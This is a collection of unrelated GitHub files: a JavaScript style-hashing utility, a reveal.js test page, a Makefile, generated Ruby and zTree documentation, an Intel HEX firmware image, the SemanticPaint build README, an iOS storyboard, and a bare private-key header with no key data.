var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.sortObject = sortObject;
exports.createHash = createHash;
exports.stringifyObject = stringifyObject;
exports.extendedToString = extendedToString;
exports.createClassName = createClassName;
exports.createMarkup = createMarkup;
exports.isEmpty = isEmpty;
exports.isPseudo = isPseudo;
exports.isMediaQuery = isMediaQuery;
exports.seperateStyles = seperateStyles;
var _typeof2 = _interopRequireDefault(require("@babel/runtime/helpers/typeof"));
var _CSSPropertyOperations = require("./CSSPropertyOperations");
function sortObject(obj) {
return Object.keys(obj).sort().reduce(function (acc, key) {
var val = obj[key];
if (val || val === 0) acc[key] = val;
return acc;
}, {});
}
function createHash(str) {
var i = str.length;
if (i === 0) return 0;
var hash = 5381;
while (i) {
hash = hash * 33 ^ str.charCodeAt(--i);
}
return hash >>> 0;
}
function stringifyObject(obj) {
var keys = Object.keys(obj);
var str = '';
for (var i = 0, len = keys.length; i < len; i++) {
str += keys[i] + obj[keys[i]];
}
return str;
}
var SYMBOL_SET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('');
function extendedToString(num, base) {
var conversion = '';
if (base > SYMBOL_SET.length || base <= 1 || !Number.isInteger(base)) throw new Error("".concat(base, " should be an integer between 1 and ").concat(SYMBOL_SET.length));
while (num >= 1) {
conversion = SYMBOL_SET[num - base * Math.floor(num / base)] + conversion;
num = Math.floor(num / base);
}
return base < 11 ? parseInt(conversion) : conversion;
}
function createClassName(obj) {
var hash = extendedToString(createHash(stringifyObject(obj)), 62);
return hash ? '_' + hash : undefined;
}
function createMarkup(obj) {
return (0, _CSSPropertyOperations.createMarkupForStyles)(obj);
}
function isEmpty(obj) {
return !Object.keys(obj).length;
}
function isPseudo(_ref) {
var style = _ref.style,
rule = _ref.rule;
return rule.charAt(0) === ':' && (0, _typeof2["default"])(style) === 'object';
}
function isMediaQuery(_ref2) {
var style = _ref2.style,
rule = _ref2.rule;
return rule.charAt(0) === '@' && (0, _typeof2["default"])(style) === 'object';
}
function handle(type, acc, _ref3) {
var style = _ref3.style,
rule = _ref3.rule;
var pseudos = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : [];
var hash = createClassName(sortObject(style));
var rules = pseudos.length ? [[].concat(rule, style, pseudos)] : rule;
acc[type] = acc[type].concat(rules);
acc.style[rule] = hash;
return acc;
}
function seperateStyles(styles) {
return Object.keys(styles).reduce(function (acc, rule) {
var content = {
style: styles[rule],
rule: rule
};
if (isPseudo(content)) {
return handle('pseudos', acc, content);
}
if (isMediaQuery(content)) {
var _seperateStyles = seperateStyles(content.style),
style = _seperateStyles.style,
pseudos = _seperateStyles.pseudos;
return handle('mediaQueries', acc, {
rule: rule,
style: style
}, pseudos);
}
acc.style[rule] = content.style;
return acc;
}, {
style: {},
pseudos: [],
mediaQueries: []
});
} | {
"pile_set_name": "Github"
} |
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reveal.js - Test Markdown</title>
<link rel="stylesheet" href="../css/reveal.min.css">
<link rel="stylesheet" href="qunit-1.12.0.css">
</head>
<body style="overflow: auto;">
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<div class="reveal" style="display: none;">
<div class="slides">
<!-- <section data-markdown="example.md" data-separator="^\n\n\n" data-vertical="^\n\n"></section> -->
<!-- Slides are separated by newline + three dashes + newline, vertical slides identical but two dashes -->
<section data-markdown data-separator="^\n---\n$" data-vertical="^\n--\n$">
<script type="text/template">
## Slide 1.1
--
## Slide 1.2
---
## Slide 2
</script>
</section>
</div>
</div>
<script src="../lib/js/head.min.js"></script>
<script src="../js/reveal.min.js"></script>
<script src="../plugin/markdown/marked.js"></script>
<script src="../plugin/markdown/markdown.js"></script>
<script src="qunit-1.12.0.js"></script>
<script src="test-markdown.js"></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
#
# WARNING: do not run this directly, it should be run by the master Makefile
include ../../Makefile.defs
auto_gen=
NAME=log_systemd.so
ifeq ($(CROSS_COMPILE),)
SYSTEMD_BUILDER=$(shell \
if pkg-config --exists libsystemd; then \
echo 'pkg-config libsystemd'; \
fi)
endif
ifneq ($(SYSTEMD_BUILDER),)
DEFS += $(shell $(SYSTEMD_BUILDER) --cflags)
LIBS += $(shell $(SYSTEMD_BUILDER) --libs)
else
DEFS += -I$(LOCALBASE)/include
LIBS= -L$(LOCALBASE)/lib -lsystemd
endif
include ../../Makefile.modules
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="../style.css" type="text/css" charset="utf-8" />
<link rel="stylesheet" href="../custom.css" type="text/css" charset="utf-8" />
<link rel="stylesheet" href="../syntax_highlight.css" type="text/css" charset="utf-8" />
<script src="../jquery.js" type="text/javascript" charset="utf-8"></script>
<script src="../app.js" type="text/javascript" charset="utf-8"></script>
<title>Exception: Octopi::NotFound</title>
</head>
<body>
<div id="content">
<div class="section class Octopi_NotFound">
<h1 class="title">Exception: Octopi::NotFound</h1>
<div class="section inheritance">
<ul>
<li>Exception</li><ul><li>Octopi::NotFound</li>
</ul></ul>
</div><div class="section constants">
</div><div class="section constructor">
<h1>Constructor Summary</h1>
<div id="initialize-instance_method" class="section method">
<div class="details_title">
<div class='section methodsignature'>
<tt class='def'>
<span class='visibility'>public</span>
<span class='return_types'></span>
<span class='name'>initialize</span><span class='args'>(klass)</span>
<span class='block'></span>
</tt>
</div>
</div><div class="section source">
<span>[<a class="source_link" href="#">View source</a>]</span>
<div class="source_code">
<table>
<tr>
<td>
<pre class="lines">
25
26
27</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/octopi/error.rb', line 25</span>
<span class='def def kw'>def</span> <span class='initialize identifier id'>initialize</span><span class='lparen token'>(</span><span class='klass identifier id'>klass</span><span class='rparen token'>)</span>
<span class='super super kw'>super</span> <span class='dstring node'>"The #{klass.to_s.split("::").last} you were looking for could not be found, or is private."</span>
<span class='end end kw'>end</span>
</pre>
</td>
</tr>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="yard_info">
Generated on Friday, July 31 2009 at 05:01:55 PM by
<abbr class="yard" title="Yay! A Ruby Documentation Tool"><a href="http://yard.soen.ca">YARD</a></abbr>
0.2.3.2 (ruby-1.8.6).
</div>
</body>
</html> | {
"pile_set_name": "Github"
} |
:100000009EC00000B7C00000B5C00000B3C0000033
:10001000B1C00000AFC00000ADC00000ABC0000028
:10002000A9C00000A7C00000A5C00000FCC30000DC
:10003000A1C400009FC000009DC000009BC0000044
:1000400099C0000097C0000095C0000093C0000058
:1000500091C000008FC000008DC00000C6C100002C
:1000600089C0000087C0000085C0000083C0000078
:1000700081C00000160538052206380522067A05DB
:1000800097052206EA05FC052403470065006E007B
:10009000750069006E006F0020004D00650067006C
:1000A00061002000320035003600300000003A03C5
:1000B000410072006400750069006E006F0020004E
:1000C0004C004C00430020002800770077007700A8
:1000D0002E00610072006400750069006E006F0000
:1000E0002E006300630029000000040309040902D4
:1000F0003E00020100C032090400000102020100BA
:100100000524000110042402060524060001070549
:1001100082030800FF09040100020A00000007052D
:100120000402400001070583024000011201100192
:10013000020000084123420201000102DC011124F7
:100140001FBECFEFD2E0DEBFCDBF11E0A0E0B1E037
:10015000EEE4FFE002C005900D92A631B107D9F799
:1001600012E0A6E1B1E001C01D92AF32B107E1F7A4
:1001700064D0EBC645CFFC01E058FF4FA081B181B0
:100180006C93A081B1819D012F5F3F4F318320830C
:100190002E173F0721F412969C938E9311972FB739
:1001A000F894FC01EC57FF4F80818F5F80832FBF55
:1001B0000895DC01AE57BF4FED91FC91119741912D
:1001C0001196FC93EE939C0120583F4FE217F307E2
:1001D00011F48D939C932FB7F894FC01EC57FF4FCB
:1001E0009081915090832FBF842F089584B7877F8B
:1001F00084BF88E10FB6F89480936000109260008D
:100200000FBE87E690E09093CD008093CC0086E00F
:100210008093CA001092C80088E18093C900539A65
:100220005A9A8AB180638AB98BB180638BB9F0D254
:1002300084E085BD5F9A579A0895D8DF2FB7F89468
:100240008EE991E090931F0280931E029093210209
:10025000809320022FBF2FB7F89489E191E090930B
:100260009A018093990190939C0180939B012FBFE9
:100270007894D3E09FB7F894809122029FBF803892
:1002800049F080E091E00ED697FD04C0682F8EE91A
:1002900091E071DF8FB7F894C0919D018FBFA8994D
:1002A00002C0C13658F1A89A80919D01882319F0A7
:1002B0005D98D0931601CC2349F089E191E079DF74
:1002C000682F80E091E093D5C150F5CF8091160161
:1002D000882341F08091160181508093160181118D
:1002E00001C05D9A80911701882341F08091170128
:1002F000815080931701811101C05C9A9FB7F894D7
:10030000809122029FBF882361F08EE991E051DF46
:100310009091C80095FFFCCF8093CE005C98D0935D
:10032000170180E091E0B0D59AD4A4CF80E091E0AD
:1003300011C580E091E0A5C41F93CF93DF93EC013A
:100340008C89813031F0823011F010E003C010E26E
:1003500001C010E38B89823009F418608D898730E1
:1003600031F0883031F0863029F4126003C0146017
:1003700001C016601092C9001092C8001092CA0005
:100380002F85388949895A89211581EE3807410519
:10039000510571F0CA01B9019695879577956795D2
:1003A00060587B47814E9F4FA8D52150310902C02C
:1003B00020E130E03093CD002093CC001093CA00B0
:1003C0008F859889A989BA898115914EA105B105B2
:1003D00011F480E001C082E08093C80088E9809336
:1003E000C900DF91CF911F9108951F920F920FB610
:1003F0000F9211242F933F934F935F936F937F93AB
:100400008F939F93AF93BF93EF93FF936091CE0031
:100410008EB3843019F489E191E0ADDEFF91EF9164
:10042000BF91AF919F918F917F916F915F914F910C
:100430003F912F910F900FBE0F901F901895FC01C8
:10044000858580FF02C05F9808955F9A0895292FDF
:1004500033272230310559F02330310569F021303E
:100460003105F9F482E190E02CE231E01EC08EE328
:1004700090E02EEE30E019C099278130910541F0CF
:100480008230910541F0892B61F4EAEEF0E005C07D
:10049000EEEAF0E002C0E8E8F0E0849190E09F012D
:1004A00004C080E090E020E030E0FA013183208356
:1004B000089528E030E040E02817390720F44F5F26
:1004C000220F331FF9CF842F8295807F0895809368
:1004D000E900EBEEF0E0808181608083EDEEF0E0FA
:1004E00010826093EC0040838091EE00881F882783
:1004F000881F08951092F40080E08093E900109224
:10050000F0001092E8001092ED009091EB009E7FB9
:100510009093EB008F5F853081F7089580912702DB
:1005200087FD05C08091E80080FF0DC010C080915C
:10053000E80082FD04C08EB38111F9CF0895809147
:10054000E8008B7707C08EB38111ECCF08958091BE
:10055000E8008E778093E800089585E69091EC009E
:1005600090FF05C09091E80090FF05C01BC09091DE
:10057000E80092FD17C09EB39923B1F09EB3953069
:10058000A9F09091EB0095FD13C09091E10092FFCE
:10059000E5CF9091E1009B7F9093E1008150F1F6CF
:1005A00084E0089580E0089582E0089583E008954E
:1005B00081E0089520912D0230912E0226173707F1
:1005C00048F06115710539F42091E8002E772093E9
:1005D000E80001C0B90130E06115710591F1209189
:1005E000E80023FD38C02091E80022FF06C080917A
:1005F000E80082FF29C080E008952EB3222369F12C
:100600002EB3253061F12091E80020FFE5CF209145
:10061000F200FC01CF016115710549F0283038F472
:1006200081918093F100615071092F5FF3CF31E028
:10063000283009F030E02091E8002E772093E80080
:10064000CBCF3111CCCFD3CF8EB3882331F08EB343
:10065000853069F604C081E0089582E0089583E062
:10066000089520912D0230912E022617370748F069
:100670006115710539F42091E8002E772093E80088
:1006800001C0B90130E06115710599F12091E800D0
:1006900023FD39C02091E80022FF06C08091E800C8
:1006A00082FF2AC080E008952EB3222371F12EB379
:1006B000253069F12091E80020FFE5CF2091F2007C
:1006C000FC01CF016115710551F0283040F484918F
:1006D0008093F100615071092F5F3196F2CF31E0C4
:1006E000283009F030E02091E8002E772093E800D0
:1006F000CACF3111CBCFD2CF8EB3882331F08EB396
:10070000853061F604C081E0089582E0089583E0B9
:1007100008956115710529F42091E8002B77209345
:10072000E8006115710549F12091E80023FD2AC018
:100730002EB3222359F12EB3253051F12091E80038
:1007400022FFF2CFFC018091F200882371F09F011B
:100750002F5F3F4FC9014091F10040836150710903
:1007600061157105C9F2F901EECFCF01D5CF8EB376
:10077000882361F08EB3853059F08091E80080FFC6
:10078000F6CF02C081E0089580E0089582E00895E8
:1007900083E0089542D044D01EBA109225021092F0
:1007A00024021092230284E089BD89B5826089BD4C
:1007B00009B400FEFDCF8091D800982F9F779093C9
:1007C000D80080688093D800809163008E7F8093EA
:1007D00063008091D8008F7D8093D8008091E000E5
:1007E0008E7F8093E0008091E1008E7F8093E10016
:1007F0008091E20081608093E2008091E100877F38
:100800008093E1008091E20088608093E200089587
:10081000C1DF81E08093260208951092E2000895DE
:100820001092E10008951F920F920FB60F921124BB
:100830002F933F934F935F936F937F938F939F93E8
:10084000AF93BF93EF93FF938091E10080FF1BC0B4
:100850008091E20080FF17C08091E1008E7F80933D
:10086000E1008091E2008E7F8093E2008091E200BF
:1008700080618093E2008091D80080628093D800EC
:1008800019BC1EBAEBD18091E10084FF29C0809190
:10089000E20084FF25C084E089BD89B5826089BDFE
:1008A00009B400FEFDCF8091D8008F7D8093D800E1
:1008B0008091E1008F7E8093E1008091E2008F7E45
:1008C0008093E2008091E20081608093E200809159
:1008D0002502882311F084E001C081E08EBBBED1E7
:1008E0008091E10083FF27C08091E20083FF23C055
:1008F0008091E100877F8093E10082E08EBB1092BF
:1009000025028091E1008E7F8093E1008091E200DA
:100910008E7F8093E2008091E20080618093E2000C
:10092000E9DD42E060E080E0D2DD8091F0008860A7
:100930008093F00093D18091E10082FF0AC0809102
:10094000E20082FF06C08091E1008B7F8093E1008E
:1009500085D1FF91EF91BF91AF919F918F917F9141
:100960006F915F914F913F912F910F900FBE0F901C
:100970001F9018951F920F920FB60F9211242F936C
:100980003F934F935F936F937F938F939F93AF9317
:10099000BF93CF93EF93FF93E9EEF0E0C081C77070
:1009A0001082E0EFF0E08081877F808378941CD014
:1009B000F894E9EEF0E01082A0EFB0E08C9188604E
:1009C0008C93C083FF91EF91CF91BF91AF919F9195
:1009D0008F917F916F915F914F913F912F910F90E8
:1009E0000FBE0F901F9018951F93CF93DF93CDB735
:1009F000DEB7AA970FB6F894DEBF0FBECDBFE7E211
:100A0000F2E08091F100819322E0EF32F207C9F722
:100A10002091270230912802832F90E08A3091059F
:100A200008F010C1FC01E65CFF4F89C2203881F05C
:100A3000223809F007C180912B0287708093E9006A
:100A40008091EB0085FB882780F91092E90006C0B1
:100A50008091230290912402911182609091E8008C
:100A6000977F9093E8008093F1001092F100BDC051
:100A7000822F8D7F09F0E6C0222319F0223061F029
:100A8000D2C080912902813009F0CDC0333009F005
:100A900080E08093240228C080912902811124C023
:100AA00020912B02277009F4BEC02093E9008091A9
:100AB000EB0080FFB8C08091EB00333011F480620E
:100AC00011C080618093EB0081E090E0022E01C0B4
:100AD000880F0A94EAF78093EA001092EA00809166
:100AE000EB0088608093EB001092E9008091E800B1
:100AF000877F7EC02111A6C0109129028091E80055
:100B0000877F8093E8000ADD8091E80080FD04C0C3
:100B10008EB38111F9CF87C0812F8F7711F093E0C9
:100B200001C092E09EBB80688093E3007CC02058A7
:100B3000223008F087C08091290290912A028C3DD2
:100B400023E0920781F583E08A838AE289834FB7A5
:100B5000F894DE01139620E03EE051E2E32FF0E04E
:100B600050935700E49120FF03C0E295EF703F5F80
:100B7000EF7090E39E0F9A3310F0E95C01C0E92F0B
:100B80008E2F90E08D939D932F5F243139F74FBFC7
:100B90008091E800877F8093E8006AE270E0CE01F0
:100BA000019608DD11C0AE014F5F5F4F60912B02CF
:100BB0004EDC0097C1F12091E800277F2093E800E8
:100BC000BC0189819A814DDD8091E8008B7780930B
:100BD000E80029C02038B1F58091E800877F809334
:100BE000E800809125028093F1008091E8008E77E3
:100BF0008093E80093DC17C0211124C09091290252
:100C0000923088F48091E800877F8093E800909389
:100C1000250284DC80912502882311F084E001C044
:100C200083E08EBB83DB8091E80083FF0DC0809161
:100C3000EB0080628093EB008091E800877F8093D7
:100C4000E80002C076DBEFCFAA960FB6F894DEBFBD
:100C50000FBECDBFDF91CF911F9108950895CF931F
:100C60008EB3882359F0C091E900C7701092E90053
:100C70008091E80083FDB8DEC093E900CF9108952C
:100C80000895CF93DF93EC018091E80083FF5FC06C
:100C9000888190E020912B0230912C02281739078F
:100CA00009F055C080912802813249F018F4803251
:100CB000C9F04DC0823261F18332C9F148C08091E0
:100CC0002702813A09F043C08091E800877F809332
:100CD000E80067E070E0CE010F966CDC8091E800E0
:100CE0008B7713C080912702813289F58091E800CB
:100CF000877F8093E80067E070E0CE010F9609DD02
:100D0000CE011ADB8091E8008E778093E8001FC047
:100D1000809127028132D9F48091E800877F809307
:100D2000E800809129028D87CE0189DB0DC080917A
:100D30002702813261F48091E800877F8093E80088
:100D400060912902CE019CDFDF91CF91E7CBDF914B
:100D5000CF9108950F931F93CF93DF93EC01FC0184
:100D60003D9689E0DF011D928A95E9F72A813B8152
:100D70008C81882311F014E001C010E00981C901C1
:100D800098DB412F482B426061E8802FA0DB88234D
:100D900041F12E813F818885882311F014E001C044
:100DA00010E00D81C90185DB412F482B426060E8CE
:100DB000802F8DDB8823A9F02A853B858C858823AD
:100DC00011F014E001C010E0C985C90172DB412FA8
:100DD000482B426061EC8C2FDF91CF911F910F91D6
:100DE00076CB80E0DF91CF911F910F910895CF9343
:100DF000C62F2EB32430E9F4FC0147855089618960
:100E00007289452B462B472BA1F081818093E90005
:100E10008091E80085FF04C0C093F10080E00AC023
:100E20008091E8008E778093E80097DB8823A1F318
:100E300001C082E0CF9108952EB3243019F5FC0152
:100E40004785508961897289452B462B472BD1F004
:100E500081818093E9008091F200882389F090914C
:100E6000E8008091E8008E778093E80095FD08C047
:100E700074DB811108C08091E8008E778093E800D0
:100E800080E0089582E008952EB3243051F4FC01EF
:100E90004785508961897289452B462B472B09F07C
:100EA000CBCF08952EB3243019F08FEF9FEF089524
:100EB000FC014785508961897289452B462B472B58
:100EC000A1F385818093E9008091E80082FFEDCF56
:100ED0008091F200882321F02091F10030E002C0DF
:100EE0002FEF3FEF8091F200811105C08091E80063
:100EF0008B778093E800C9010895A1E21A2EAA1BFE
:100F0000BB1BFD010DC0AA1FBB1FEE1FFF1FA217B9
:100F1000B307E407F50720F0A21BB30BE40BF50BB6
:100F2000661F771F881F991F1A9469F7609570953F
:100F3000809590959B01AC01BD01CF010895EE0F06
:0E0F4000FF1F0590F491E02D0994F894FFCF67
:100F4E000003400000044000000208000000000002
:060F5E000000000000008D
:00000001FF
| {
"pile_set_name": "Github"
} |
This is the software bundle "SemanticPaint", created by:
Stuart Golodetz <[email protected]>
Michael Sapienza <[email protected]>
Tommaso Cavallari <[email protected]>
Nicholas A Lord <[email protected]>
Julien Valentin <[email protected]>
Vibhav Vineet <[email protected]>
Ming-Ming Cheng <[email protected]>
Anurag Arnab <[email protected]>
Stephen Hicks <[email protected]>
Shahram Izadi <[email protected]>
Philip H S Torr <[email protected]>
It is built on top of InfiniTAM v3.5, a highly-efficient,
open-source 3D reconstruction engine developed by Oxford's
Active Vision Group. For more details about InfiniTAM v3.5,
please get in touch with one of the following people:
Victor Adrian Prisacariu <[email protected]>
Olaf Kaehler <[email protected]>
Stuart Golodetz <[email protected]>
Tommaso Cavallari <[email protected]>
1. Building the System
----------------------
1.1 Overview
SemanticPaint builds with CMake 3.8.2 and above on Windows, Ubuntu and Mac OS X.
It has been tested on recent versions of all three operating systems, but may
require additional work to build on older versions.
1.2 Dependencies
SemanticPaint depends on various 3rd party libraries. Some of these are
required, in the sense that SemanticPaint will not function without them;
others are optional, but skipping them will reduce functionality.
Suitable versions of the required dependencies and some of the optional
dependencies have been included in the repository, so SemanticPaint should
build "out of the box". However, most users will probably want to install
the remaining optional libraries in order to enable full functionality.
- ArrayFire (version 3.3.2)
Status: Optional (needed for touch interaction and median filtering)
Default: Disabled
Flag: WITH_ARRAYFIRE
- Boost (version 1.58.0)
Status: Required
- CUDA (version 7.5 or above)
Status: Optional (needed for GPU acceleration)
Default: Enabled
Flag: WITH_CUDA
- Eigen (version 3.2.2)
Status: Required
- GLEW (version 1.12.0)
Status: Required on Windows/Ubuntu
- InfiniTAM (version 3.5)
Status: Required
- Leap Motion SDK (version 2.2.1.24116)
Status: Optional (needed for experimental Leap Motion support)
Default: Disabled
Flag: WITH_LEAP
- Oculus SDK (version 0.5.0.1)
Status: Optional (needed for Oculus Rift support)
Default: Disabled
Flag: WITH_OVR
- OpenCV (version 3.1.0)
Status: Optional (needed for feature inspection mode)
Default: Disabled
Flag: WITH_OPENCV
- OpenGL
Status: Required
- OpenMP
Status: Optional, but recommended (needed for faster training/prediction)
Default: Disabled
Flag: WITH_OPENMP
Notes: Doesn't work on Mac OS X
- OpenNI (version 2)
Status: Optional, but recommended (needed for live reconstruction)
Default: Disabled
Flag: WITH_OPENNI
- SDL (version 2-2.0.7)
Status: Required
- Vicon SDK
Status: Optional (needed for the Vicon tracker)
Default: Disabled
Flag: WITH_VICON
1.3 Build Process
Common steps on all platforms:
a) Choose a root directory, hereafter referred to as <root>.
b) Clone the InfiniTAM repository into <root>/InfiniTAM.
c) Build the infinitam_v3.5 branch of InfiniTAM using CMake (using <root>/InfiniTAM/InfiniTAM/build as your build directory).
d) Clone SemanticPaint into <root>/spaint, e.g.
$ git clone [email protected]:torrvision/spaint.git spaint
e) Change to the spaint directory:
$ cd spaint
1.3.1 Build Process (Windows)
f) Using a Bash shell (e.g. Git Bash, provided with msysgit), run the top-level build script, e.g. for VS2013:
$ ./build-win.sh 12 Release
g) Run the CMake GUI and specify <root>/spaint/build as the build directory.
h) Enable any optional libraries you want and supply the paths.
i) Reconfigure and regenerate the Visual Studio solution.
j) Build with the optional libraries enabled (just run the above build command again).
1.3.2 Build Process (Unix)
f) Run the top-level build script:
$ ./build-nix.sh "Unix Makefiles" Release
g) Change to the build directory and run ccmake:
$ cd build
$ ccmake ..
h) Enable any optional libraries you want and supply the paths.
i) Reconfigure and regenerate the makefile.
j) Build with the optional libraries enabled, e.g.
$ make -j4
2. Running the System
---------------------
The build process will build various applications, libraries and test
programs in <root>/build. The main application can be found at:
<root>/build/bin/apps/spaintgui/spaintgui
It can be run "out of the box" from any working directory for live
reconstruction, provided you have built with OpenNI support.
If you want to reconstruct from data stored on disk (e.g. the Teddy
sequence that is used in InfiniTAM), you can call the application
as follows:
$ ./spaintgui -c <path>/Teddy/calib.txt -r <path>/Teddy/Frames/%04i.ppm -d <path>/Teddy/Frames/%04i.pgm
The arguments specify a text file containing calibration parameters,
and masks for the RGB and depth images in the input sequence.
Note that spaintgui also supports its own saving/loading of sequences
to/from the <root>/build/bin/apps/spaintgui/sequences subdirectory.
These can be loaded straightforwardly via:
$ ./spaintgui -s <sequence name>
3. Additional Documentation
---------------------------
Further details about the original concept for SemanticPaint can be
found in the following paper:
SemanticPaint: Interactive 3D Labeling and Learning at your Fingertips.
ACM Transactions on Graphics, 34(5), August 2015.
There is also a technical report that describes this implementation of
the SemanticPaint concept:
SemanticPaint: A Framework for the Interactive Segmentation of 3D Scenes.
arXiv e-print 1510.03727, October 2015.
4. Troubleshooting Tips
-----------------------
If you have any trouble with the build, here are some of the likely causes:
* The CMake executable is not on your path.
* The MSBuild executable is not on your path. (Windows)
* The Visual C++ compiler (cl.exe) is not on your path. (Windows)
* The latest Visual Studio updates have not been installed. (Windows)
* You're using a version of CMake that has a CUDA compilation bug (e.g. an early version of 3.11). Try CMake 3.9 instead. (Windows)
* You built Boost other than with the build script (which contains some bug fixes). Please use the build script :)
History:
2017-AUG-08: second public release
2015-SEP-26: first public release
2015-JUL-23: initial draft
| {
"pile_set_name": "Github"
} |
//
// AppDelegate.h
// 通过coreGraphic把图片变灰
//
// Created by 黄成都 on 15/7/4.
// Copyright (c) 2015年 黄成都. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
| {
"pile_set_name": "Github"
} |
<div class="apiDetail">
<div>
<h2><span>Array(String)</span><span class="path">setting.async.</span>autoParam</h2>
<h3>Overview<span class="h3_info">[ depends on <span class="highlight_green">jquery.ztree.core</span> js ]</span></h3>
<div class="desc">
<p></p>
<div class="longdesc">
<p>During asynchronous loading, a request is sent to the server, which contains the identify of the parent node,
so it can retrieve the children.
This attribute is an array of strings, which is the identity parameter (or parameters).
It applies when <span class="highlight_red">[setting.async.enable = true]</span></p>
<p>Default:[ ]</p>
</div>
</div>
<h3>Array(String) Format</h3>
<div class="desc">
<p>1. Put the attribute name(s) of node to the array. For example: ["id", "name"]</p>
<p>2. You can rename the parameter name as sent to the server. For example: server only accepts "zId" -- ["id=zId"]</p>
</div>
<h3>Examples of setting</h3>
<h4>1. set auto commit 'id' attribute</h4>
<pre xmlns=""><code>var setting = {
async: {
enable: true,
url: "http://host/getNode.php",
autoParam: ["id"]
}
};
If we have a parent node: {id:1, name:"test"}, When we are asynchronously loading this parent node's children, it will be submitted to the server with parameters: id=1
......</code></pre>
<h4>2. set auto commit 'id' attribute, but the parameter name expected by the server is 'zId'</h4>
<pre xmlns=""><code>var setting = {
async: {
enable: true,
url: "http://host/getNode.php",
autoParam: ["id=zId"]
}
};
If we have a parent node: {id:1, name:"test"}, When we are asynchronously loading this parent node's children, it will be submitted to the server with parameters: zId=1
......</code></pre>
</div>
</div> | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="14313.18" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
<device id="retina3_5" orientation="portrait">
<adaptation id="fullscreen"/>
</device>
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="14283.14"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" customModule="ObserverTest" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="320" height="480"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="xTD-ZM-JqE">
<rect key="frame" x="28" y="35" width="53" height="30"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<state key="normal" title="Present"/>
<connections>
<segue destination="PaM-Ox-YEn" kind="presentation" id="8O7-T2-ifu"/>
</connections>
</button>
<button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="J6W-d2-mM0">
<rect key="frame" x="28" y="122" width="104" height="30"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<state key="normal" title="Post with delay"/>
<connections>
<action selector="doPostWithDelay:" destination="BYZ-38-t0r" eventType="touchUpInside" id="5Oy-cF-xn7"/>
</connections>
</button>
</subviews>
<color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
</scene>
<!--View Controller2-->
<scene sceneID="3Qf-mk-1CF">
<objects>
<viewController id="PaM-Ox-YEn" customClass="ViewController2" customModule="ObserverTest" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="2hA-fh-NvZ">
<rect key="frame" x="0.0" y="0.0" width="320" height="480"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="MIY-YE-2sW">
<rect key="frame" x="34" y="34" width="52" height="30"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<state key="normal" title="Unwind"/>
<connections>
<segue destination="Rqz-YR-y4t" kind="unwind" unwindAction="unwind:" id="U5Q-U7-cOF"/>
</connections>
</button>
</subviews>
<color key="backgroundColor" red="1" green="0.92427134609999995" blue="0.25664460189999999" alpha="1" colorSpace="calibratedRGB"/>
<viewLayoutGuide key="safeArea" id="f82-5G-tTh"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="Fac-i6-oFW" userLabel="First Responder" sceneMemberID="firstResponder"/>
<exit id="Rqz-YR-y4t" userLabel="Exit" sceneMemberID="exit"/>
</objects>
<point key="canvasLocation" x="948" y="117"/>
</scene>
</scenes>
</document>
| {
"pile_set_name": "Github"
} |
-----BEGIN PRIVATE KEY-----
